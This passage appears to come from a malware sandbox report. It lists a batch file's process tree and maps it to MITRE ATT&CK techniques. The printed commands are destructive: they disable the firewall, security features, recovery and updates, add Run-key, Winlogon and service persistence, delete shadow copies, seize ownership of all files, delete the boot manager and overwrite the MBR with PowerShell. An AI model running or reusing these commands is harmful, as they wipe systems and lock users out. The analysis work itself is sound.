  reg add "HKLM\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" /v "DebugMode" /t REG_DWORD /d 1 /f
  2⤵
  PID:2280
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off #
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2036
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\shutdown.exe"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1004
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\logoff.exe"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2240
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\shutdown.exe" /deny *S-1-1-0:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4976
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\logoff.exe" /deny *S-1-1-0:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2028
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:764
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3304
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4392
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4808
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2012
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  2⤵
  - Modifies firewall policy service
  PID:4132
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1 /f
  2⤵
  PID:4200
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 0 /f
  2⤵
  PID:348
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1268
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1328
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
  2⤵
  PID:4396
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSetFolders" /t REG_DWORD /d 1 /f
  2⤵
  PID:1020
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1844
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:552
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4080
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2420
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewContextMenu" /t REG_DWORD /d 1 /f
  2⤵
  PID:4584
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoTrayItemsDisplay" /t REG_DWORD /d 1 /f
  2⤵
  PID:2140
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWinKeys" /t REG_DWORD /d 1 /f
  2⤵
  PID:5040
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3536
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoTaskbar" /t REG_DWORD /d 1 /f
  2⤵
  PID:1728
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoStartMenu" /t REG_DWORD /d 1 /f
  2⤵
  PID:2188
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDesktop" /t REG_DWORD /d 1 /f
  2⤵
  PID:2156
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSecurityCenter" /t REG_DWORD /d 1 /f
  2⤵
  PID:2860
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v "Start" /t REG_DWORD /d 4 /f
  2⤵
  PID:4800
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:1544
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Keyboard Response" /v "Flags" /t REG_SZ /d "122" /f
  2⤵
  PID:3108
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\ToggleKeys" /v "Flags" /t REG_SZ /d "58" /f
  2⤵
  PID:4732
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\MouseKeys" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:2984
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\HighContrast" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:2848
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Narrator" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:4604
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Magnifier" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:1088
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\OnScreenKeyboard" /v "Flags" /t REG_SZ /d "506" /f
  2⤵
  PID:3844
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableCAD /t REG_DWORD /d 1 /f
  2⤵
  PID:3784
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:4380
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangePassword /t REG_DWORD /d 1 /f
  2⤵
  PID:3940
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f
  2⤵
  PID:4188
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v HideFastUserSwitching /t REG_DWORD /d 1 /f
  2⤵
  PID:2444
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogoff /t REG_DWORD /d 1 /f
  2⤵
  PID:2360
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f
  2⤵
  PID:2288
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:2004
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangePassword /t REG_DWORD /d 1 /f
  2⤵
  PID:1484
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogoff /t REG_DWORD /d 1 /f
  2⤵
  PID:4460
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v HideFastUserSwitching /t REG_DWORD /d 1 /f
  2⤵
  PID:2668
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d 1 /f
  2⤵
  PID:4440
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AUOptions" /t REG_DWORD /d 1 /f
  2⤵
  PID:3836
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v "Disabled" /t REG_DWORD /d 1 /f
  2⤵
  PID:4848
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Remote Assistance" /v "fAllowToGetHelp" /t REG_DWORD /d 0 /f
  2⤵
  PID:3156
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 1 /f
  2⤵
  PID:1500
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\Installer" /v "DisableMSI" /t REG_DWORD /d 2 /f
  2⤵
  PID:3200
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsInstaller" /t REG_DWORD /d 1 /f
  2⤵
  PID:2580
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 1 /f
  2⤵
  PID:3500
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Hidden" /t REG_DWORD /d 0 /f
  2⤵
  PID:4488
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
  2⤵
  - Modifies visibility of hidden/system files in Explorer
  PID:1356
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v HideClock /t REG_DWORD /d 1 /f
  2⤵
  PID:3692
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:592
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_DWORD /d 1 /f
  2⤵
  PID:3900
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\DWM" /v EnableAeroPeek /t REG_DWORD /d 0 /f
  2⤵
  PID:5112
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:3680
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
  2⤵
  PID:1492
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDisplaySettingsPage /t REG_DWORD /d 1 /f
  2⤵
  PID:4524
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 0x03ffffff /f
  2⤵
  PID:2468
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:4864
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoTrayItemsDisplay /t REG_DWORD /d 1 /f
  2⤵
  PID:4352
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Windows" /v ErrorMode /t REG_DWORD /d 2 /f
  2⤵
  PID:1312
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  2⤵
  PID:644
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard" /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  PID:3332
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  PID:4236
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\disk" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:4908
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\ACPI" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:4060
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" /v DisablePCA /t REG_DWORD /d 1 /f
  2⤵
  PID:924
- C:\Windows\System32\Wbem\WMIC.exe
  wmic nic where "NetEnabled=true" call Disable
  2⤵
  PID:768
- C:\Windows\system32\sc.exe
  sc stop WerSvc
  2⤵
  - Launches sc.exe
  PID:4292
- C:\Windows\system32\sc.exe
  sc config WerSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4112
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1 /f
  2⤵
  PID:4756
- C:\Windows\system32\fsutil.exe
  fsutil usn deletejournal /d C:
  2⤵
  PID:1764
- C:\Windows\system32\fsutil.exe
  fsutil volume diskfree C:
  2⤵
  PID:4600
- C:\Windows\system32\bcdedit.exe
  bcdedit /set hypervisorlaunchtype off
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2064
- C:\Windows\system32\sc.exe
  sc create "WinUpdateHelper" binPath= "cmd /c start C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" start= auto
  2⤵
  PID:2428
- C:\Windows\system32\sethc.exe
  sethc.exe 251
  2⤵
  PID:1628
- C:\Windows\system32\reg.exe
  reg add "HKCU\AppEvents\Schemes" /ve /t REG_SZ /d ".None" /f
  2⤵
  PID:1012
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemHealth" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /f
  2⤵
  - Adds Run key to start application
  PID:2648
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDesktop /t REG_DWORD /d 1 /f
  2⤵
  PID:1940
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d 00000000000000000300000000005BE000005CE000000000 /f
  2⤵
  PID:2148
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2472
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2284
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:1272
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4840
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Updater" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /f
  2⤵
  - Adds Run key to start application
  PID:2508
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  2⤵
  PID:4148
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
  2⤵
  PID:3968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$drive = New-Object System.IO.FileStream '\\.\PhysicalDrive0', 'Open', 'Write', 'ReadWrite'; $zero = New-Object Byte[] 512; $drive.Write($zero, 0, $zero.Length); $drive.Close()"
  2⤵
  - Writes to the Master Boot Record (MBR)
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2036
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {current} safeboot
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:940
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {default} safeboot
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2248
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} advancedoptions false
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4728
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {bootmgr} displaybootmenu no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4420
- C:\Windows\system32\bcdedit.exe
  bcdedit /timeout 0
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4396
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Configuration Manager" /v "LastKnownGood" /t REG_DWORD /d 0 /f
  2⤵
  PID:4340
- C:\Windows\system32\sc.exe
  sc stop SDRSVC
  2⤵
  - Launches sc.exe
  PID:3668
- C:\Windows\system32\sc.exe
  sc config SDRSVC start= disabled
  2⤵
  PID:3572
- C:\Windows\system32\bcdedit.exe
  bcdedit /set nx AlwaysOff
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4972
- C:\Windows\system32\bcdedit.exe
  bcdedit /delete {bootmgr}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4584

C:\Windows\system32\net.exe
net session
1⤵
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 session
  2⤵
  PID:2308

C:\Windows\system32\takeown.exe
takeown /f "C:\*" /r /d y
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4836

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4884

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry